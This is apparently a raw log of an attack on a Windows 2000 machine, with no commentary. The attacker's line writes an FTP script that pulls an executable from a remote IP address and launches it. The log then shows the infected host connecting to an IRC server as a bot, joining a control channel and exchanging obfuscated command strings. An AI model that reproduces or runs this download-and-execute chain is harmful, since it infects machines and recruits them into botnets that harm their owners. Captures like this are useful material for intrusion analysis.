VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> ATTACKER: echo open 130.13.23.116 11403 >> asr_ausmi &echo user ausmia ausmia >> asr_ausmi &echo get asr_17006.exe >> asr_ausmi &echo quit >> asr_ausmi &ftp -nv -s:asr_ausmi &start asr_17006.exe ATTACKER: 220 VICTIM: USER ausmia ATTACKER: 331 VICTIM: PASS ausmia ATTACKER: 230 VICTIM: PORT 192,168,1,41,4, ATTACKER: 200 ATTACKER: RETR asr_17006.exe ATTACKER: 150 VICTIM: Connected to 130.13.23.116.open 130.13.23.116 11403 220user ausmia ausmia 331230get asr_17006.exe 200150 ATTACKER: 226 VICTIM: QUIT ATTACKER: 221 VICTIM: PASS secretpass VICTIM: NICK P|yxd3lox6lUSER t617ugvyr * 0 :USA|2K|677 ATTACKER: :hub.12010.net 001 P|yxd3lox6l :P|yxd3lox6l!t617ugvyr@192.168.1.41:hub.12010.net 1 P|yxd3lox6l :Login: :hub.12010.net 376 P|yxd3lox6l : VICTIM: USERHOST P|yxd3lox6l ATTACKER: :hub.12010.net 302 P|yxd3lox6l :P|yxd3lox6l=+t617ugvyr@192.168.1.41 VICTIM: USERHOST P|yxd3lox6lMODE P|yxd3lox6l JOIN #m RSA ATTACKER: :hub.12010.net 302 P|yxd3lox6l :P|yxd3lox6l=+t617ugvyr@192.168.1.41 :hub.12010.net 221 P|yxd3lox6l +:P|yxd3lox6l!t617ugvyr@192.168.1.41 JOIN :#m:hub.12010.net 332 P|yxd3lox6l #m :+zHYt/ZSMTE/hLqnG0NTQUO.pmijm1/.aaY.eBmol1LIlTc.2dgLL0DGpX3/bkcOG0zAqjl. VICTIM: PRIVMSG #m :+Cpiwe/Bec9E07RQ/c0vtb4S/EdYX/xXUDj093Z0X0JV7.c0kobHn.HwIa/.lp7rj/X7JlN.YHwTF/PxQdA067AvB/I3dvk159vvk/p1d3/tEsA/0b7FNk0cuplp14Otlj1MT7lW/KzwsA.23PPZ1DJD0T/EkS7/.wqp6e1